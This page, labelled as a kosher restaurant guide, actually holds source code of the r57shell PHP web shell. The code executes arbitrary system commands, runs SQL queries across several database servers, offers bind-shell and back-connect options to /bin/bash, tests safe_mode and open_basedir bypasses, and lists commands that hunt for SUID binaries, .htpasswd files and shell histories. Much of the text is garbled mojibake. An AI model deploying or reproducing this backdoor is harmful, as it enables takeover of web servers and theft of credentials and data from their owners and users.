"; } echo "
"; } echo "
Kosher Restaurant Guide "; } echo "
$v) { $_POST[$k] = stripslashes($v); } foreach ($_SERVER as $k=>$v) { $_SERVER[$k] = stripslashes($v); } } /* ~~~ ہٍَهيٍèôèêàِèے ~~~ */ // $auth = 1; - ہٍَهيٍèôèêàِèے âêë‏÷هيà // $auth = 0; - ہٍَهيٍèôèêàِèے âûêë‏÷هيà $auth = 0; // ثîمèي è ïàًîëü نëے نîٌٍَïà ê ٌêًèïٍَ // حإ اہءسؤـزإ رجإحبزـ دإذإؤ ذہاجإظإحبإج حہ رإذآإذإ!!! $name='r57'; // ëîمèي ïîëüçîâàٍهëے $pass='r57'; // ïàًîëü ïîëüçîâàٍهëے if($auth == 1) { if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass) { header('WWW-Authenticate: Basic realm="r57shell"'); header('HTTP/1.0 401 Unauthorized'); exit("r57shell : Access Denied"); } } $head = ' r57shell '; if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "
[ BACK ]
"; die(); } if ($_POST['cmd']=="db_query") { echo $head; switch($_POST['db']) { case 'MySQL': if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); if($db) { if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); } $querys = @explode(';',$_POST['db_query']); foreach($querys as $num=>$query) { if(strlen($query)>5){ echo "Query#".$num." : ".htmlspecialchars($query)."
"; $res = @mysql_query($query,$db); $error = @mysql_error($db); if($error) { echo "
Error : ".$error."

"; } else { if (@mysql_num_rows($res) > 0) { $sql2 = $sql = $keys = $values = ''; while (($row = @mysql_fetch_assoc($res))) { $keys = @implode(" 
 ", @array_keys($row)); $values = @array_values($row); foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} $values = @implode("  ",$values); $sql2 .= "
 ".$values." 
"; $sql = ""; $sql .= $sql2; echo $sql; echo "
 ".$keys." 

"; } else { if(($rows = @mysql_affected_rows($db))>=0) { echo "
affected rows : ".$rows."

"; } } } @mysql_free_result($res); } } @mysql_close($db); } else echo "
Can't connect to MySQL server
"; break; case 'MSSQL': if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); if($db) { if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); } $querys = @explode(';',$_POST['db_query']); foreach($querys as $num=>$query) { if(strlen($query)>5){ echo "Query#".$num." : ".htmlspecialchars($query)."
"; $res = @mssql_query($query,$db); if (@mssql_num_rows($res) > 0) { $sql2 = $sql = $keys = $values = ''; while (($row = @mssql_fetch_assoc($res))) { $keys = @implode(" 
 ", @array_keys($row)); $values = @array_values($row); foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} $values = @implode("  ",$values); $sql2 .= "
 ".$values." 
"; $sql = ""; $sql .= $sql2; echo $sql; echo "
 ".$keys." 

"; } /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "
affected rows : ".$rows."

"; } else { echo "
Error : ".$error."

"; }} */ @mssql_free_result($res); } } @mssql_close($db); } else echo "
Can't connect to MSSQL server
"; break; case 'PostgreSQL': if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; $db = @pg_connect($str); if($db) { $querys = @explode(';',$_POST['db_query']); foreach($querys as $num=>$query) { if(strlen($query)>5){ echo "Query#".$num." : ".htmlspecialchars($query)."
"; $res = @pg_query($db,$query); $error = @pg_errormessage($db); if($error) { echo "
Error : ".$error."

"; } else { if (@pg_num_rows($res) > 0) { $sql2 = $sql = $keys = $values = ''; while (($row = @pg_fetch_assoc($res))) { $keys = @implode(" 
 ", @array_keys($row)); $values = @array_values($row); foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} $values = @implode("  ",$values); $sql2 .= "
 ".$values." 
"; $sql = ""; $sql .= $sql2; echo $sql; echo "
 ".$keys." 

"; } else { if(($rows = @pg_affected_rows($res))>=0) { echo "
affected rows : ".$rows."

"; } } } @pg_free_result($res); } } @pg_close($db); } else echo "
Can't connect to PostgreSQL server
"; break; case 'Oracle': $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']); if(($error = @ocierror())) { echo "
Can't connect to Oracle server.
".$error['message']."
"; } else { $querys = @explode(';',$_POST['db_query']); foreach($querys as $num=>$query) { if(strlen($query)>5) { echo "Query#".$num." : ".htmlspecialchars($query)."
"; $stat = @ociparse($db, $query); @ociexecute($stat); if(($error = @ocierror())) { echo "
Error : ".$error['message']."

"; } else { $rowcount = @ocirowcount($stat); if($rowcount != 0) {echo "
affected rows : ".$rowcount."

";} else { echo ""; for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo ""; } echo ""; while(ocifetch($stat)) { echo ""; for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo ""; } echo ""; } echo "
 ".htmlspecialchars(@ocicolumnname($stat, $j))." 
 ".htmlspecialchars(@ociresult($stat, $j))." 

"; } @ocifreestatement($stat); } } } @ocilogoff($db); } break; } echo "
"; echo in('hidden','db',0,$_POST['db']); echo in('hidden','db_port',0,$_POST['db_port']); echo in('hidden','mysql_l',0,$_POST['mysql_l']); echo in('hidden','mysql_p',0,$_POST['mysql_p']); echo in('hidden','mysql_db',0,$_POST['mysql_db']); echo in('hidden','cmd',0,'db_query'); echo "



"; echo "
"; echo "
[ BACK ]
"; die(); } if(isset($_GET['delete'])) { @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); } if(isset($_GET['tmp'])) { @unlink("/tmp/bdpl"); @unlink("/tmp/back"); @unlink("/tmp/bd"); @unlink("/tmp/bd.c"); @unlink("/tmp/dp"); @unlink("/tmp/dpc"); @unlink("/tmp/dpc.c"); } if(isset($_GET['phpini'])) { echo $head; function U_value($value) { if ($value == '') return 'no value'; if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; if ($value === null) return 'NULL'; if (@is_object($value)) $value = (array) $value; if (@is_array($value)) { @ob_start(); print_r($value); $value = @ob_get_contents(); @ob_end_clean(); } return U_wordwrap((string) $value); } function U_wordwrap($str) { $str = @wordwrap(@htmlspecialchars($str), 100, '', true); return @preg_replace('!(&[^;]*)([^;]*;)!', '$1$2', $str); } if (@function_exists('ini_get_all')) { $r = ''; echo '', ''; foreach (@ini_get_all() as $key=>$value) { $r .= ''; } echo $r; echo '
Directive
Local Value
Master Value
'.ws(3).''.$key.'
'.U_value($value['local_value']).'
'.U_value($value['global_value']).'
'; } echo "
[ BACK ]
"; die(); } if(isset($_GET['cpu'])) { echo $head; echo '
CPU
'; $cpuf = @file("cpuinfo"); if($cpuf) { $c = @sizeof($cpuf); for($i=0;$i<$c;$i++) { $info = @explode(":",$cpuf[$i]); if($info[1]==""){ $info[1]="---"; } $r .= ''; } echo $r; } else { echo ''; } echo '
'.ws(3).''.trim($info[0]).'
'.trim($info[1]).'
'.ws(3).'
---
'; echo "
[ BACK ]
"; die(); } if(isset($_GET['mem'])) { echo $head; echo '
MEMORY
'; $memf = @file("meminfo"); if($memf) { $c = sizeof($memf); for($i=0;$i<$c;$i++) { $info = explode(":",$memf[$i]); if($info[1]==""){ $info[1]="---"; } $r .= ''; } echo $r; } else { echo ''; } echo '
'.ws(3).''.trim($info[0]).'
'.trim($info[1]).'
'.ws(3).'
---
'; echo "
[ BACK ]
"; die(); } /* آûلîً ےçûêà $language='ru' - ًٌٌَêèé $language='eng' - àيمëèéٌêèé */ $language='eng'; $lang=array( 'ru_text1' =>'آûïîëيهييàے êîىàينà', 'ru_text2' =>'آûïîëيهيèه êîىàين يà ٌهًâهًه', 'ru_text3' =>'آûïîëيèٍü êîىàينَ', 'ru_text4' =>'ذàلî÷àے نèًهêٍîًèے', 'ru_text5' =>'اàمًَçêà ôàéëîâ يà ٌهًâهً', 'ru_text6' =>'ثîêàëüيûé ôàéë', 'ru_text7' =>'ہëèàٌû', 'ru_text8' =>'آûلهًèٍه àëèàٌ', 'ru_butt1' =>'آûïîëيèٍü', 'ru_butt2' =>'اàمًَçèٍü', 'ru_text9' =>'خٍêًûٍèه ïîًٍà è ïًèâےçêà همî ê /bin/bash', 'ru_text10'=>'خٍêًûٍü ïîًٍ', 'ru_text11'=>'دàًîëü نëے نîٌٍَïà', 'ru_butt3' =>'خٍêًûٍü', 'ru_text12'=>'back-connect', 'ru_text13'=>'IP-àنًهٌ', 'ru_text14'=>'دîًٍ', 'ru_butt4' =>'آûïîëيèٍü', 'ru_text15'=>'اàمًَçêà ôàéëîâ ٌ َنàëهييîمî ٌهًâهًà', 'ru_text16'=>'بٌïîëüçîâàٍü', 'ru_text17'=>'سنàëهييûé ôàéë', 'ru_text18'=>'ثîêàëüيûé ôàéë', 'ru_text19'=>'Exploits', 'ru_text20'=>'بٌïîëüçîâàٍü', 'ru_text21'=>'حîâîه èىے', 'ru_text22'=>'datapipe', 'ru_text23'=>'ثîêàëüيûé ïîًٍ', 'ru_text24'=>'سنàëهييûé ُîٌٍ', 'ru_text25'=>'سنàëهييûé ïîًٍ', 'ru_text26'=>'بٌïîëüçîâàٍü', 'ru_butt5' =>'اàïٌٍَèٍü', 'ru_text28'=>'ذàلîٍà â safe_mode', 'ru_text29'=>'ؤîٌٍَï çàïًهùهي', 'ru_butt6' =>'رىهيèٍü', 'ru_text30'=>'دًîٌىîًٍ ôàéëà', 'ru_butt7' =>'آûâهٌٍè', 'ru_text31'=>'شàéë يه يàéنهي', 'ru_text32'=>'آûïîëيهيèه PHP êîنà', 'ru_text33'=>'دًîâهًêà âîçىîويîٌٍè îلُîنà îمًàيè÷هيèé open_basedir ÷هًهç ôَيêِèè cURL', 'ru_butt8' =>'دًîâهًèٍü', 'ru_text34'=>'دًîâهًêà âîçىîويîٌٍè îلُîنà îمًàيè÷هيèé safe_mode ÷هًهç ôَيêِè‏ include', 'ru_text35'=>'دًîâهًêà âîçىîويîٌٍè îلُîنà îمًàيè÷هيèé safe_mode ÷هًهç çàمًَçêَ ôàéëà â mysql', 'ru_text36'=>'ءàçà', 'ru_text37'=>'ثîمèي', 'ru_text38'=>'دàًîëü', 'ru_text39'=>'زàلëèِà', 'ru_text40'=>'ؤàىï ٍàلëèِû لàçû نàييûُ', 'ru_butt9' =>'ؤàىï', 'ru_text41'=>'رîًُàيèٍü â ôàéëه', 'ru_text42'=>'ذهنàêٍèًîâàيèه ôàéëà', 'ru_text43'=>'ذهنàêٍèًîâàٍü ôàéë', 'ru_butt10'=>'رîًُàيèٍü', 'ru_butt11'=>'ذهنàêٍèًîâàٍü', 'ru_text44'=>'ذهنàêٍèًîâàيèه ôàéëà يهâîçىîويî! ؤîٌٍَï ٍîëüêî نëے ÷ٍهيèے!', 'ru_text45'=>'شàéë ٌîًُàيهي', 'ru_text46'=>'دًîٌىîًٍ phpinfo()', 'ru_text47'=>'دًîٌىîًٍ يàًٌٍîهê php.ini', 'ru_text48'=>'سنàëهيèه âًهىهييûُ ôàéëîâ', 'ru_text49'=>'سنàëهيèه ٌêًèïٍà ٌ ٌهًâهًà', 'ru_text50'=>'بيôîًىàِèے î ïًîِهٌٌîًه', 'ru_text51'=>'بيôîًىàِèے î ïàىےٍè', 'ru_text52'=>'زهêٌٍ نëے ïîèٌêà', 'ru_text53'=>'بٌêàٍü â ïàïêه', 'ru_text54'=>'دîèٌê ٍهêٌٍà â ôàéëàُ', 'ru_butt12'=>'حàéٍè', 'ru_text55'=>'زîëüêî â ôàéëàُ', 'ru_text56'=>'حè÷همî يه يàéنهيî', 'ru_text57'=>'رîçنàٍü/سنàëèٍü شàéë/ؤèًهêٍîًè‏', 'ru_text58'=>'بىے', 'ru_text59'=>'شàéë', 'ru_text60'=>'ؤèًهêٍîًè‏', 'ru_butt13'=>'رîçنàٍü/سنàëèٍü', 'ru_text61'=>'شàéë ٌîçنàي', 'ru_text62'=>'ؤèًهêٍîًèے ٌîçنàيà', 'ru_text63'=>'شàéë َنàëهي', 'ru_text64'=>'ؤèًهêٍîًèے َنàëهيà', 'ru_text65'=>'رîçنàٍü', 'ru_text66'=>'سنàëèٍü', 'ru_text67'=>'Chown/Chgrp/Chmod', 'ru_text68'=>'تîىàينà', 'ru_text69'=>'دàًàىهًٍ1', 'ru_text70'=>'دàًàىهًٍ2', 'ru_text71'=>"آٍîًîé ïàًàىهًٍ êîىàينû:\r\n- نëے CHOWN - èىے يîâîمî ïîëüçîâàٍهëے èëè همî UID (÷èٌëîى) \r\n- نëے êîىàينû CHGRP - èىے مًَïïû èëè GID (÷èٌëîى) \r\n- نëے êîىàينû CHMOD - ِهëîه ÷èٌëî â âîٌüىهًè÷يîى ïًهنٌٍàâëهيèè (يàïًèىهً 0777)", 'ru_text72'=>'زهêٌٍ نëے ïîèٌêà', 'ru_text73'=>'بٌêàٍü â ïàïêه', 'ru_text74'=>'بٌêàٍü â ôàéëàُ', 'ru_text75'=>'* ىîويî èٌïîëüçîâàٍü ًهمَëےًيîه âûًàوهيèه', 'ru_text76'=>'دîèٌê ٍهêٌٍà â ôàéëàُ ٌ ïîىîùü‏ ٍَèëèٍû find', 'ru_text77'=>'دًîٌىîًٍ ًٌٍَêًٍَû لàçû نàييûُ', 'ru_text78'=>'دîêàçûâàٍü ٍàلëèِû', 'ru_text79'=>'دîêàçûâàٍü ٌٍîëلِû', 'ru_text80'=>'زèï', 'ru_text81'=>'رهٍü', 'ru_text82'=>'ءàçû نàييûُ', 'ru_text83'=>'آûïîëيهيèه SQL çàïًîٌà', 'ru_text84'=>'SQL çàïًîٌ', 'ru_text85'=>'دًîâهًêà âîçىîويîٌٍè îلُîنà îمًàيè÷هيèé safe_mode ÷هًهç âûïîëيهيèه êîىàين â MSSQL ٌهًâهًه', /* --------------------------------------------------------------- */ 'eng_text1' =>'Executed command', 'eng_text2' =>'Execute command on server', 'eng_text3' =>'Run command', 'eng_text4' =>'Work directory', 'eng_text5' =>'Upload files on server', 'eng_text6' =>'Local file', 'eng_text7' =>'Aliases', 'eng_text8' =>'Select alias', 'eng_butt1' =>'Execute', 'eng_butt2' =>'Upload', 'eng_text9' =>'Bind port to /bin/bash', 'eng_text10'=>'Port', 'eng_text11'=>'Password for access', 'eng_butt3' =>'Bind', 'eng_text12'=>'back-connect', 'eng_text13'=>'IP', 'eng_text14'=>'Port', 'eng_butt4' =>'Connect', 'eng_text15'=>'Upload files from remote server', 'eng_text16'=>'With', 'eng_text17'=>'Remote file', 'eng_text18'=>'Local file', 'eng_text19'=>'Exploits', 'eng_text20'=>'Use', 'eng_text21'=>' New name', 'eng_text22'=>'datapipe', 'eng_text23'=>'Local port', 'eng_text24'=>'Remote host', 'eng_text25'=>'Remote port', 'eng_text26'=>'Use', 'eng_butt5' =>'Run', 'eng_text28'=>'Work in safe_mode', 'eng_text29'=>'ACCESS DENIED', 'eng_butt6' =>'Change', 'eng_text30'=>'Cat file', 'eng_butt7' =>'Show', 'eng_text31'=>'File not found', 'eng_text32'=>'Eval PHP code', 'eng_text33'=>'Test bypass open_basedir with cURL functions', 'eng_butt8' =>'Test', 'eng_text34'=>'Test bypass safe_mode with include function', 'eng_text35'=>'Test bypass safe_mode with load file in mysql', 'eng_text36'=>'Database', 'eng_text37'=>'Login', 'eng_text38'=>'Password', 'eng_text39'=>'Table', 'eng_text40'=>'Dump database table', 'eng_butt9' =>'Dump', 'eng_text41'=>'Save dump in file', 'eng_text42'=>'Edit files', 'eng_text43'=>'File for edit', 'eng_butt10'=>'Save', 'eng_text44'=>'Can\'t edit file! Only read access!', 'eng_text45'=>'File saved', 'eng_text46'=>'Show phpinfo()', 'eng_text47'=>'Show variables from php.ini', 'eng_text48'=>'Delete temp files', 'eng_butt11'=>'Edit file', 'eng_text49'=>'Delete script from server', 'eng_text50'=>'View cpu info', 'eng_text51'=>'View memory info', 'eng_text52'=>'Find text', 'eng_text53'=>'In dirs', 'eng_text54'=>'Find text in files', 'eng_butt12'=>'Find', 'eng_text55'=>'Only in files', 'eng_text56'=>'Nothing :(', 'eng_text57'=>'Create/Delete File/Dir', 'eng_text58'=>'name', 'eng_text59'=>'file', 'eng_text60'=>'dir', 'eng_butt13'=>'Create/Delete', 'eng_text61'=>'File created', 'eng_text62'=>'Dir created', 'eng_text63'=>'File deleted', 'eng_text64'=>'Dir deleted', 'eng_text65'=>'Create', 'eng_text66'=>'Delete', 'eng_text67'=>'Chown/Chgrp/Chmod', 'eng_text68'=>'Command', 'eng_text69'=>'param1', 'eng_text70'=>'param2', 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", 'eng_text72'=>'Text for find', 'eng_text73'=>'Find in folder', 'eng_text74'=>'Find in files', 'eng_text75'=>'* you can use regexp', 'eng_text76'=>'Search text in files via find', 'eng_text77'=>'Show database structure', 'eng_text78'=>'show tables', 'eng_text79'=>'show columns', 'eng_text80'=>'Type', 'eng_text81'=>'Net', 'eng_text82'=>'Databases', 'eng_text83'=>'Run SQL query', 'eng_text84'=>'SQL query', ); /* ہëèàٌû êîىàين دîçâîëے‏ٍ èçلهوàٍü ىيîمîêًàٍيîمî يàلîًà îنيèُ è ٍهُ-وه êîىàين. ( رنهëàيî لëàمîنàًے ىîهé ïًèًîنيîé ëهيè ) آû ىîوهٍه ٌàىè نîلàâëےٍü èëè èçىهيےٍü êîىàينû. */ $aliases=array( 'find suid files'=>'find / -type f -perm -04000 -ls', 'find suid files in current dir'=>'find . -type f -perm -04000 -ls', 'find sgid files'=>'find / -type f -perm -02000 -ls', 'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', 'find config.inc.php files'=>'find / -type f -name config.inc.php', 'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', 'find config* files'=>'find / -type f -name "config*"', 'find config* files in current dir'=>'find . -type f -name "config*"', 'find all writable files'=>'find / -type f -perm -2 -ls', 'find all writable files in current dir'=>'find . -type f -perm -2 -ls', 'find all writable directories'=>'find / -type d -perm -2 -ls', 'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', 'find all writable directories and files'=>'find / -perm -2 -ls', 'find all writable directories and files in current dir'=>'find . -perm -2 -ls', 'find all service.pwd files'=>'find / -type f -name service.pwd', 'find service.pwd files in current dir'=>'find . -type f -name service.pwd', 'find all .htpasswd files'=>'find / -type f -name .htpasswd', 'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', 'find all .bash_history files'=>'find / -type f -name .bash_history', 'find .bash_history files in current dir'=>'find . -type f -name .bash_history', 'find all .mysql_history files'=>'find / -type f -name .mysql_history', 'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', 'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', 'list file attributes on a Linux second extended file system'=>'lsattr -va', 'show opened ports'=>'netstat -an | grep -i listen', '----------------------------------------------------------------------------------------------------'=>'ls -la' ); $table_up1 = "
:: "; $table_up2 = " ::
"; $table_up3 = ""; $arrow = " è"; $lb = "["; $rb = "]"; $font = ""; $ts = "
"; $table_end1 = "
"; $te = "
"; $fs = "
"; $fe = "
"; if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } $dir = @getcwd(); $windows = 0; $unix = 0; if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; if(empty($dir)) { $os = getenv('OS'); if(empty($os)){ $os = php_uname(); } if(empty($os)){ $os ="-"; $unix=1; } else { if(@eregi("^win",$os)) { $windows = 1; } else { $unix = 1; } } } if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") { echo $head; if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } $sr->SearchText(0,0); $res = $sr->GetResultFiles(); $found = $sr->GetMatchesCount(); $titles = $sr->GetTitles(); $r = ""; if($found > 0) { $r .= ""; foreach($res as $file=>$v) { $r .= ""; $r .= ""; foreach($v as $a=>$b) { $r .= ""; $r .= ""; $r .= ""; $r .= "\n"; } } $r .= "
".ws(3); $r .= ($windows)? str_replace("/","\\",$file) : $file; $r .= ""; $r .= "
".$a."".ws(2).$b."
"; echo $r; } else { echo "

".$lang[$language.'_text56']."

"; } echo "
[ BACK ]
"; die(); } if($windows&&!$safe_mode) { $uname = ex("ver"); if(empty($uname)) { $safe_mode = 1; } } else if($unix&&!$safe_mode) { $uname = ex("uname"); if(empty($uname)) { $safe_mode = 1; } } $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } function ws($i) { return @str_repeat(" ",$i); } function ex($cfe) { $res = ''; if (!empty($cfe)) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } function we($i) { if($GLOBALS['language']=="ru"){ $text = 'خّèلêà! حه ىîمَ çàïèٌàٍü â ôàéë '; } else { $text = "[-] ERROR! Can't write in file "; } echo "
".$text.$i."
"; return null; } function re($i) { if($GLOBALS['language']=="ru"){ $text = 'خّèلêà! حه ىîمَ ïًî÷èٍàٍü ôàéë '; } else { $text = "[-] ERROR! Can't read file "; } echo "
".$text.$i."
"; return null; } function ce($i) { if($GLOBALS['language']=="ru"){ $text = "حه َنàëîٌü ٌîçنàٍü "; } else { $text = "Can't create "; } echo "
".$text.$i."
"; return null; } function perms($mode) { if ($GLOBALS['windows']) return 0; if( $mode & 0x1000 ) { $type='p'; } else if( $mode & 0x2000 ) { $type='c'; } else if( $mode & 0x4000 ) { $type='d'; } else if( $mode & 0x6000 ) { $type='b'; } else if( $mode & 0x8000 ) { $type='-'; } else if( $mode & 0xA000 ) { $type='l'; } else if( $mode & 0xC000 ) { $type='s'; } else $type='u'; $owner["read"] = ($mode & 00400) ? 'r' : '-'; $owner["write"] = ($mode & 00200) ? 'w' : '-'; $owner["execute"] = ($mode & 00100) ? 'x' : '-'; $group["read"] = ($mode & 00040) ? 'r' : '-'; $group["write"] = ($mode & 00020) ? 'w' : '-'; $group["execute"] = ($mode & 00010) ? 'x' : '-'; $world["read"] = ($mode & 00004) ? 'r' : '-'; $world["write"] = ($mode & 00002) ? 'w' : '-'; $world["execute"] = ($mode & 00001) ? 'x' : '-'; if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; $s=sprintf("%1s", $type); $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); return trim($s); } function in($type,$name,$size,$value) { $ret = ""; return $ret; } function which($pr) { $path = ex("which $pr"); if(!empty($path)) { return $path; } else { return $pr; } } function cf($fname,$text) { $w_file=@fopen($fname,"w") or we($fname); if($w_file) { @fputs($w_file,@base64_decode($text)); @fclose($w_file); } } function sr($l,$t1,$t2) { return "".$t1."".$t2.""; } if (!@function_exists("view_size")) { function view_size($size) { if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} else {$size = $size . " B";} return $size; } } function DirFiles($dir,$types='') { $files = Array(); if(($handle = @opendir($dir))) { while (FALSE !== ($file = @readdir($handle))) { if ($file != "." && $file != "..") { if(!is_dir($dir."/".$file)) { if($types) { $pos = @strrpos($file,"."); $ext = @substr($file,$pos,@strlen($file)-$pos); if(@in_array($ext,@explode(';',$types))) $files[] = $dir."/".$file; } else $files[] = $dir."/".$file; } } } @closedir($handle); } return $files; } function DirFilesWide($dir) { $files = Array(); $dirs = Array(); if(($handle = @opendir($dir))) { while (false !== ($file = @readdir($handle))) { if ($file != "." && $file != "..") { if(@is_dir($dir."/".$file)) { $file = @strtoupper($file); $dirs[$file] = '<DIR>'; } else $files[$file] = @filesize($dir."/".$file); } } @closedir($handle); @ksort($dirs); @ksort($files); $files = @array_merge($dirs,$files); } return $files; } function DirFilesR($dir,$types='') { $files = Array(); if(($handle = @opendir($dir))) { while (false !== ($file = @readdir($handle))) { if ($file != "." && $file != "..") { if(@is_dir($dir."/".$file)) $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); else { $pos = @strrpos($file,"."); $ext = @substr($file,$pos,@strlen($file)-$pos); if($types) { if(@in_array($ext,explode(';',$types))) $files[] = $dir."/".$file; } else $files[] = $dir."/".$file; } } } @closedir($handle); } return $files; } function DirPrintHTMLHeaders($dir) { $pockets = ''; $handle = @opendir($dir) or die("Can't open directory $dir"); echo "